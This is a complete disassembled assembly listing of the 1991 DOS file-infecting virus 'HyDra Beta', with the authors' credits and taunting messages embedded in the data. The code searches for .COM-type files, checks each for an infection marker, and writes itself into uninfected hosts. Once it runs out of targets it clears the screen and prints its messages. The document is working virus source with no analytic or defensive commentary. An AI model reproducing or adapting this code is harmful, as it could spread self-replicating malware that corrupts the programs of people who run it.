HYDRA_0
;
--------------------------------------------------------------------------
; Disassembled by FairWind / NRG , [email protected]
;
--------------------------------------------------------------------------
DATA_1E EQU 80H
DATA_18E EQU 2E0H
DATA_19E EQU 2E3H
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A
ORG 100h
HYDRA0 PROC FAR
START:
JMP LOC_1
DB 59H, 44H, 00H, 00H
DATA_4 DB 'HyDra Beta - Not For Release'
DB '. *.CO?'
DB 0
DATA_7 DW 0, 84FCH
DATA_9 DW 0
DATA_10 DB 0
DB 29 DUP (0)
DATA_11 DB 0
DB 13 DUP (0)
COPYRIGHT DB 'Copyright (c)'
DATA_12 DB ' 1991 by C.A.V.E. HYDRA$'
DB 'Watch for the many heads.', 0DH, 0AH
DB 0DH, 0AH, 0DH, 0AH, 0DH, 0AH, 0DH
DB 0AH, 0DH, 0AH, 0DH, 0AH, 'The fir'
DB 'st eight are easy to find and ki'
DB 'll.', 0DH, 0AH, 0DH, 0AH, 'Their'
DB ' replacements will be more sophi'
DB 'sticated.$'
DB '(c) 1991 - C. A. V. E.$'
LOC_1:
PUSH AX
MOV AX,CS
ADD AX,1000H
XOR DI,DI
MOV CX,2E0H
MOV SI,OFFSET DS:[100H]
MOV ES,AX
REP MOVSB
MOV AH,1AH
MOV DX,OFFSET DATA_10
INT 21H
MOV AH,4EH
MOV DX,OFFSET DATA_4+22H
INT 21H
JC LOC_5
LOC_2:
MOV AH,3DH
MOV AL,2
MOV DX,OFFSET DATA_11
MOV AL,2
INT 21H
MOV BX,AX
PUSH ES
POP DS
MOV AX,3F00H
MOV CX,0FFFFH
MOV DX,DATA_18E
INT 21H
ADD AX,2E0H
MOV CS:DATA_9,AX
CMP WORD PTR DS:DATA_19E,4459H
JNE LOC_3
MOV AH,3EH
INT 21H
PUSH CS
POP DS
MOV AH,4FH
INT 21H
JC LOC_6
JMP SHORT LOC_2
LOC_3:
XOR CX,CX
MOV DX,CX
MOV AX,4200H
INT 21H
JC LOC_4
MOV AH,40H
XOR DX,DX
MOV CX,CS:DATA_9
INT 21H
LOC_4:
MOV AH,3EH
INT 21H
PUSH CS
POP DS
LOC_5:
MOV AH,1AH
MOV DX,DATA_1E
INT 21H
JMP SHORT LOC_7
DB 90H
LOC_6:
PUSH DX
XOR AX,AX
MOV AX,0F00H
INT 10H
MOV AH,0
INT 10H
MOV AX,200H
MOV DH,6
MOV DL,25H
INT 10H
XOR DX,DX
MOV DX,OFFSET DATA_12+14H
MOV AH,9
INT 21H
MOV AX,200H
MOV DH,0BH
MOV DL,1BH
INT 10H
MOV DX,OFFSET DATA_12+1AH
MOV AH,9
INT 21H
MOV AX,200H
MOV DH,17H
MOV DL,0
INT 10H
MOV DX,OFFSET DATA_12+9EH
MOV AH,9
INT 21H
MOV AX,200H
MOV DH,18H
MOV DL,0
INT 10H
MOV AX,4C00H
INT 21H
LOC_7:
XOR DI,DI
MOV SI,OFFSET DATA_16
MOV CX,0D3H
REP MOVSB
POP BX
MOV CS:DATA_7,0
MOV WORD PTR CS:DATA_7+2,ES
POP BX
JMP DWORD PTR CS:DATA_7
DATA_16 DB 1EH
DB 07H,0B9H,0FFH,0FFH,0BEH,0E0H
DB 03H,0BFH, 00H, 01H, 2BH,0CEH
DB 0F3H,0A4H, 2EH,0C7H, 06H, 00H
DB 01H, 00H, 01H, 2EH, 8CH, 1EH
DB 02H, 01H, 8BH,0C3H, 2EH,0FFH
DB 2EH, 00H, 01H
DB ' Coalition of American Viru'
DB 's Engineers -=-=- '
DB ' Dedicated to supporting the'
DB ' anti-virus industry withou'
DB 't recognition or reward. '
DB ' -=-=- '
DB 0CDH, 20H
HYDRA0 ENDP
SEG_A ENDS
END START